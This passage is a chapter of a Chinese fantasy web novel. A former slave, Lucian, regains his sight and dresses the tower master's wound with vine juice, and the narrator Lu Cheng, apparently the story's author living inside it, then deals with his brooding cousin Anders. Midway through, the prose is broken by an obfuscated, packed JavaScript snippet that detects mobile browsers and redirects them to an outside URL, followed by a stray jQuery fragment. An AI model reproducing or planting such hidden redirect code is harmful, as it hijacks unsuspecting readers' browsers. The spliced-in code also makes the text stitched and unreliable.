抽骨磨刀 作品

9. 伤口与藤蔓汁

卢息安几乎不敢相信自己的耳朵,他怔怔抬起头。


塔主的法师袍宛如一团带冷意的黑云,一路严实地遮挡卢息安窥探的视线,直到卢息安视野中出现被雪白绷带收束的颈部,才意识到这样做是绝对的冒险,黑发少年迅速垂下视线。


可……睡在这?


这张床?


卢息安嘴唇翕动,没有问出来。


能说出这种话,塔主或许不知道……他的身份?


“奴隶”两字划过脑海,卢息安紧绷的脊背出了厌恶的冷汗。


的确,无论他的身份曾经如何,今非昔比,他已经国破家亡,沦落到了想法也变得战战兢兢的地步。


艰难的日子太久,他快要想不起来,自己如果不是无名的“黑发种”,还能是谁了。


可万一,这个人知道他是奴隶,还要求自己睡在这张床上……


卢息安依旧是口干舌燥,他垂着头,隐藏自己喉头的滚动,试图让自己心如止水。


可脑海中不可控制地闪过梦里经历的,他深受影响,无论塔主说什么做什么,他都觉得对方该死的很……亲切。


卢息安默默闭上眼,哪怕刚得了清澈的视野,他的心又看不清了。


盲目地认为一名陌生法师很“亲切”,这想法比偷窥塔主的面容更加危险,说明自己已经彻底神志不清了。


卢息安隐隐恐惧起来,简直希望塔主收回让他睡床的话,让他滚出塔,或者拿出鞭子,总之别让他再产生怪异不正常的情绪,他觉得这样的自己才真正成了奴隶。


“能看见了吗?”


“……是的。”


“很好。”


“一个月后,”塔主根本注意不到他这点小心思,公事公办地说:“需要你学会仪式流程……你会魔法吗?”


“不会,大……人。”卢息安脸色倏忽变得苍白。


他根本不会魔法,感知不到任何魔法元素,天生就是这样,他们国家的人,只要离开国土范围,就会失去全部力量。


现在怎么办?


当不成祭品,自己此刻就死到临头了?


一只手忽然落在了卢息安的脑袋上,稍作停顿,犹如对方在感受什么。


卢息安浑身僵硬,直到那只手离开,塔主漠然而不屑地说:“谁说你不会?”


“……”


卢息安死盯着前方黑袍的袍角,丝毫不敢抬眼暴露自己失态的神情。


他……塔主说……


可自己,自己难道真的可以……


卢息安指尖隐蔽地发颤。


他脑海一片空白,根本想不起来梦里的自己有没有跟塔主学过魔法。


梦里应该还没有,这次是自己抢占了先机。


在卢息安精神震颤,僵坐着发呆的时候,身前黑袍忽然靠近,宽大的袖口中露出苍白骨感、肌肤光滑的手臂,塔主越过卢息安肩头,一阵幽暗的奇异香气轻柔袭来——是那藤蔓的气味,塔主从他身后的书架上取下了一本厚重的书籍,


卢息安彻底屏住呼吸,喉咙因此收紧了,他近乎本能地顺着塔主的手势接过那本封面镶有血红魔晶石、雕刻着细密神纹的书,同时已经变得清晰的视线快速划过身后。


那木头泛着油光的古老书架上,满满当当摆满了更加古老的祷文书、魔法书籍与皮质卷轴。


所有带文字的东西杂乱无章、拥挤地相互摩擦,各色宝石、金子,仿佛碰撞得喀啦作响,震动卢息安的眼睛。


东西实在太多了,太丰盛了,那弧形的书架仿佛随时会承受不住重量倒塌下来,稀有的魔法书会堆满整张床,整个圆筒形的房间,把他整个人埋起来……


塔主显然注意到他“放肆”的视线,嘲弄他:“别怕,没人逼你全看完。”


塔主的声音轻飘飘的,说完显得更累了,在他离开前,卢息安艰难地开了口,用同样低、同样轻的声音,“大人。”


上楼的脚步停下了。


“请允许我……”卢息安垂眸,视线始终落在膝上书籍的封面上,那颗色泽深如鸽血的魔晶石在他眼中熠熠闪耀,宛如自己胸膛中怦怦跃动的心脏。


“为您包扎伤口。”


“不必了。”塔主无情地拒绝了。


话音未落,啪嗒一声轻响,阶梯前多出一抹绿色,一片巴掌大的嫩莲叶不知怎么与主体分离,从一楼被扔了上来,纸屑般落在地板上。


两人同时看到那片莲叶,卢息安想起了梦里那根藤蔓的顽劣。


塔主沉默片刻,指挥卢息安:“捡起来。”


卢息安默默将厚重的书放在床上,捡起鲜嫩无刺的叶片,根据塔主指示将其放进桌上的石捣臼,碾出绿色幽香的汁液。


研磨好后,塔主幽灵般靠近卢息安,卢息安目不斜视,直到那只冒着血珠的手,吻手礼一般伸过来。


这只手骨感极了,五指优雅而纤长,是年轻的手。


只是在这片大陆上,神力越强,越受造物主眷顾的人,寿命便越绵长,卢息安还是无法猜出眼前人的年龄。


可这样粗暴的伤口,印在如此苍白的肌肤上,看起来总像更疼一些。


卢息安用自己的新眼睛,将叶片的汁液一点点涂在那几道伤口上,伤口周围的皮肤比汁液更冰凉。


当塔主的血与藤蔓汁液混合起来后,卢息安注意到,伤口的血迅速止住了。


卢息安记不得太多昏迷时的事,但塔主既然责怪他,塔里又没有其他生物,很可能塔主是被藤蔓不小心伤到。


……藤蔓有毒?


接下来的包扎不用教,卢息安擦干净手,无声无息地动作,施展出仔细整洁的包扎术。


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129198|164375||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


路诚自然满意。


“……你只能去一楼,不要出塔,食物王莲会拿来给你,现在……睡吧。”


路诚不再管僵立着的卢息安,到塔顶检查了塔灯,添了炼金池水做燃料,这才换衣服回到爱索斯这边。


到底有女仆布置的新床铺,软绵绵比塔里的床要舒服多了。


路诚躺在床上,盯着包扎好的手,薄薄两层,既不妨碍动作,外观上也不起眼,可见卢息安帮他包扎得细心。


这就让路诚心里嘀咕。


显然那个时期的卢息安,其实还没怎么黑化,他待人虽然很有戒心,却不乏诚恳和感激,将“滴水之恩,涌泉相报”的龙傲天套路保持良好。


上一次在那边救卢息安,条件差很多,但卢息安看起来也不是很黑化啊?


所以到底是从哪段剧情,因为什么,卢息安才严重黑化的?


路诚从这两天卢息安的一个个反应中,终于发现了问题。


盲眼这个时期,正是卢息安人生中最惨烈的一段剧情。


灭国后卢息安独自逃难,却阴差阳错被抓住贩卖成奴隶,最后被折磨得瞎眼又瘸腿,变成残疾。


其实这几年的经历,已经是路诚为他安排得最惨的剧情了,之后卢息安涅槃重生,奋力往上爬,倒也没什么更刺激的。


如果不是这件事,那是因为什么,卢息安才猛烈地黑化成亲爹也不认识的程度?


“砰!!”


头顶某处突然传来一声巨响,路诚浑身一震。


我靠……表哥这深更半夜,又发什么疯?


难道又做噩梦了?


……


真被路诚给猜对了,表哥早上整个人阴云罩顶,路诚不过多看了他一眼,表哥一叉子将牛排、盘子、和长餐桌一口气钉在了一起。


“……”


路诚一动不动,表哥也一动不动,路诚这才发现表哥根本没工夫理他。


当仆人过来收拾碎裂的餐盘时,表哥已经无心进食,手支着脑袋盯着窗外荒凉透顶、毫无春意的前院。


路诚想溜,他一动,表哥完好那只眼睛的视线便冷冰冰向他划过来。


“咳……您又做噩梦了?”


安德斯没有回答,反而盯着路诚手上的绷带看了许久,不知想到什么,他才说:“占卜?”


“只是不小心摔倒。”


安德斯显然想起了路诚之前进行的那场糟糕至极的肝卜,懒洋洋问他:


“爱索斯,你怎么看待重复的梦?”


厚?


表哥这是又要解梦?


路诚啧啧摇头。


“灾厄的征兆,”路诚的叉子在餐盘中轻戳,“重复的噩梦,是噩梦中的……国王。”


“……”


安德斯撑着额头的手微微攥起了拳头。